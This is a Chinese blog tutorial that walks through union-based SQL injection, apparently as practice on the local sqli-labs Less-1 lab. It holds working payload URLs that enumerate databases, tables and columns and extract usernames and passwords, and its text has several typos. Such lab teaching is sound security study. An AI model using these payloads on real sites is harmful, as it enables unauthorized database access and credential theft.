SQL注入练习第一天

MySQL 相关知识

在MySQL中,把【INFORMATION_SCHEMA】 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。

在 【INFORMATION_SCHEMA 】中,有数个 只读 表。它们实际上是 视图 ,而不是基本表,因此,你将无法看到与之相关的任何文件。

获取所有表结构(TABLES)

SELECT  *  FROM  information_schema.TABLES  WHERE  TABLE_SCHEMA='数据库名';  TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。

 

例如:列出test数据库中所有的表名,类型(普通表还是view)和使用的引擎

  select table_name, table_type, engine

  FROM information_schema.tables

  WHERE table_schema = 'test'

  ORDER BY table_name DESC;

 

解释: 对表的meta data的查询需要使用information_schema.tables, table_schema是数据库的名称,table_name是具体的表名,table_type指的是表的类型

concat()函数

功能:将多个字符串连接成一个字符串。

语法:concat(str1, str2,...)

返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

1:select concat (id, name, score) as info from student;

 返回的结果就是   1小明79 

若是嫌格式数据显示不够清楚,可以加 ‘-’

select concat (id, '-',name, '-', score) as info from student; 

返回的结果就是   1-小明-79

Group_coucat功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果

例:select name, group_concat (id) from student  group by name;

小明 | 1,5,6

小丽 | 2,4     

小伟 | 3

小红 | 7

 这样就使用group_concat()和group by显示相同名字的人的id号

 

4.接着使用order by 语句判断,该表中一共有几列数据

  order by 3页面回显正常,order by 4页面回显不正常,说明此表一个有3列。

5.将id=1改为一个数据库不存在的id值,如861,使用union select 1,2,3联合查询语句查看页面是否有显示位。

发现页面先输出了2和3,说明页面有2个显示位

6.然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息

http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+   这是一个查询数据库名信息的语句

7.查询security内的所有表名http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

8.接着使用下面的语句爆破出列名

select group_concat(column_name) from information_schema.columns where table_name='users'

9.接着使用如下语句查询所有的用户名,密码   lesect group_concat(password) from security.users

 

 

 

 

 

 

 

 

 

 

 

注入大体流程

SELECT * FROM users WHERE id='-1' and 1=2'

 

思路就是 :先得判断是不是存在注入,然后判断是存在什么类型的注入,是字符型的还是数字型的,然后构造语句,先判断字段长度,然后通过插入语句database() 爆数据库名称,然后通过information_schema.tables 里面的table_schema=database()爆表名,然后通过infoemation_schema 爆字段名 然后在查字段中的内容

http://hefdfssdf:asp?id= 1  返回正常

如果返回正常的话,我们可以假设数据库执行了这条语句select * from user where id = 1

http://hefdfssdf:asp?id= 1' 加引号报错,可能存在注入

http://hefdfssdf:asp?id= 1 and 1=1 

select * from user where id  = 1 and 1 =1

如果and 1=1 报错了,那么就可能是

select * from user where id  ='1         and         1=1 '

select * from user where id  = '1'       and        '1' = '1'

select * from user where id  = '1'       and        '1' = '2'

假设说,确定了是数字型注入,那么开始判断字段长度,一共有几个字段

、用order by 判断

select * from user where id  = 1 order by 2  没报错

select * from user where id  = 1 order by 3  也没报错

select * from user where id  = 1 order by 4  也没报错

select * from user where id  = 1  order by 5 报错了,说明存在3个字段

判断出来了字段数,然后使用联合查询  看看哪些字段可以利用

http://hefdfssdf:asp?id = 1  union select 1,2,3,4

然后爆出来 两个 2和3 出现问题 了

     、爆数据库名

然后就想查什么就查什么

就比如先查数据库名,查完数据库名查表名,在查字段,字段名说白了就是列名

http://hefdfssdf:asp?id  =- 1  union select  1,database(),version() 4

这个时候页面上已经爆出来数据库名字了,比如说数据库名字是aaa,然后根据数据库名字查询

     三、爆表名

http://hefdfssdf:asp?id  = -1  union select 1 ,2,group_concat(table_name) ,4 from infoemation_schema.tables   where table_schema=database()   database()这里换成上面查出来的数据库的名称也就是 aaa

然后显示出此数据库下面的所有表名,比如说,查出来表名字是 bbb

limit 0,1, 从你的表中的第0个数据开始,只读取一个,这样查出来的就是第一个数据库 ,再用一遍limit 1,1,就能查出来第二个数据库  

     四、爆字段名

http://hefdfssdf:asp?id  = -1 union select 1,2,column_name ,4 from information_schema  where table_schema = ‘aaa’  and  table_name = ‘bbb’ limit 0,1 --+

table_shame 填写的是刚才爆出来的数据库名字,table_name 填写的是刚刚爆出来的表名

同理,假如说爆出来 俩字段,一个是user,另一个是password

      五、爆字段中的内容

接着查询aaa数据库中bbb表中user和password中的内容

http://hefdfssdf:asp?id = -1 union select 1,2,concat(usre,’-’,password ),4 from aaa.bbb limit0,1 --+

就能爆出来用户名和密码  例如  admin – 12345 

这里的concat()函数,详见下面说明,(user, ’-’ ,password)中间加了个’-’是为了好区分

posted @ 2020-04-30 19:37  链宁区块链安全服务  阅读(171)  评论(0)    收藏  举报